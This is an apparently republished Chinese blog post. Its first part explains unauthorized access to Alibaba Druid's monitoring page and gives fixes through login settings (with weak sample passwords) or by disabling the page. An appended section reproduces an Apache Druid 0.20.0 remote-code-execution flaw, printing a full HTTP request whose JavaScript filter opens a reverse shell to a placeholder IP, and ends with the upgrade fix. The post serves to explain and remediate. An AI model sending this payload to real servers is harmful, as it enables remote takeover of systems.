Java安全漏洞:Druid未授权访问解决
Posted 懂事的观众GPT
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java安全漏洞:Druid未授权访问解决相关的知识,希望对你有一定的参考价值。
Java安全漏洞:Druid未授权访问
前言
相信很多朋友在服务器安全扫描的时候,遇到过Druid未授权访问低风险漏洞提示。本文先对Druid未授权访问漏洞进行介绍和分析,最后给出两种解决办法,供大家参考。
一、Druid未授权访问原因分析
漏洞说明:Druid由阿里巴巴数据库出品,为监控而生的数据库连接池,并且Druid可以提供监控,监控SQL的执行时间、监控Web URI的请求、Session监控等功能,使用广泛。
需要明确: Druid本身是不存在漏洞的,Druid未授权访问是因为开发者配置的不够全面,导致攻击者输入ip/druid/index.html即可直接即可登录到Druid监控界面,这就是所谓未授权,即可访问。
具体示例如图所示:
二、解决办法
1.添加登录用户名密码
未授权访问的常见原因:
(1)攻击者可以不输入账号密码即可访问管理页面
(2)或者是攻击者输入常见账号密码,比如账号:root,密码:123456等这种保密性很低的账号密码,即可访问管理页面。
以上这两种情况,都可以通过添加复杂的登录账号密码来解决。只要账号密码没有被掌握,可以很大程度避免未授权访问问题。
优点:
(1)可以继续使用Druid监控管理功能
(2)对用户使用习惯影响较小
缺点:
(1)为了尽可能降低风险,账号密码需要不定期更换,密码难度等级需要设定较高
(2)理论上来说仍然存在被攻击的可能性
具体解决方法(二选一):
(1)可以在druidConfig中配置:
@Bean
public ServletRegistrationBean druidServlet()
ServletRegistrationBean servletRegistrationBean = new ServletRegistrationBean();
servletRegistrationBean.setServlet(new StatViewServlet());
servletRegistrationBean.addUrlMappings("/druid/*");
Map<String, String> initParameters = new HashMap<>();
initParameters.put("resetEnable", "false"); //禁用html页面上的“Rest All”功能
initParameters.put("allow", "10.8.9.115"); //ip白名单(没有配置或者为空,则允许所有访问)
initParameters.put("loginUsername", "admin"); //++监控页面登录用户名
initParameters.put("loginPassword", "123.admin"); //++监控页面登录用户密码
initParameters.put("deny", ""); //ip黑名单
//如果某个ip同时存在,deny优先于allow
servletRegistrationBean.setInitParameters(initParameters);
return servletRegistrationBean;
(2)也可以在web.xml中配置
<!-- 配置 Druid 监控信息显示页面 -->
<servlet>
<servlet-name>DruidStatView</servlet-name>
<servlet-class>com.alibaba.druid.support.http.StatViewServlet</servlet-class>
<init-param>
<!-- 允许清空统计数据 -->
<param-name>resetEnable</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<!-- 用户名 -->
<param-name>loginUsername</param-name>
<param-value>druid</param-value>
</init-param>
<init-param>
<!-- 密码 -->
<param-name>loginPassword</param-name>
<param-value>druid</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>DruidStatView</servlet-name>
<url-pattern>/druid/*</url-pattern>
</servlet-mapping>
2.禁用Druid监控页功能
为了彻底避免未授权访问风险,如果不需要使用或者很少使用Druid的监控功能,可以尝试彻底禁用Druid监控页,这种做法比较简单粗暴,有利有弊。
优点:
(1)彻底避免未授权访问风险
(2)配置起来比较更加简单,禁用后无需再关心密码被破解问题
缺点:
(1)彻底禁用后,自己也无法使用Druid监控页功能
(2)可能影响使用习惯,可能影响工作的开展,降低Druid管理的便利性
在application.properties配置文件中添加一行代码即可:
#是否启用StatViewServlet(监控页面),默认true-启动,false-不启动
spring.datasource.druid.stat-view-servlet.enabled=false
总结
本文对Druid未授权访问漏洞进行了介绍和分析,并给出了两种常见的解决办法,可以按照自己的需求来选择解决办法。
个人建议: 如果用不到Druid监控页管理功能可以考虑彻底关掉,这样后期比较省心。
希望对大家有用!
参考链接:
Spring Boot druid监控页添加登录访问权限(用户名+密码)
为Druid监控配置访问权限(配置访问监控信息的用户与密码)
Apache druid未授权命令执行漏洞复现
https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz
tar -xzvf apache-druid-0.20.0-bin.tar.gz
cd apache-druid-0.20.0
./bin/start-micro-quickstart
启动后服务绑定在8888端口,浏览器可以正常访问则表示环境启动成功
漏洞复现
设置代理后选择load data,抓取到以下包
包内容:
构造payload执行命令,这里做一个反弹shell的操作
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.74.148:8888
Content-Length: 1043
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.74.148:8888
Referer: http://192.168.74.148:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xx/1234 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
漏洞修复
升级Apache Druid至0.20.1及以上版本
参考链接
https://f5.pm/go-57059.html
2/3
欢迎投稿至邮箱:EDU@antvsion.com
有才能的你快来投稿吧!
以上是关于Java安全漏洞:Druid未授权访问解决的主要内容,如果未能解决你的问题,请参考以下文章
X-ray捡洞中遇到的高频漏洞(Shiro默认key备份文件&敏感目录泄露Druid未授权访问phpstudy-nginx解析漏洞dedecms-cve-2018-6910)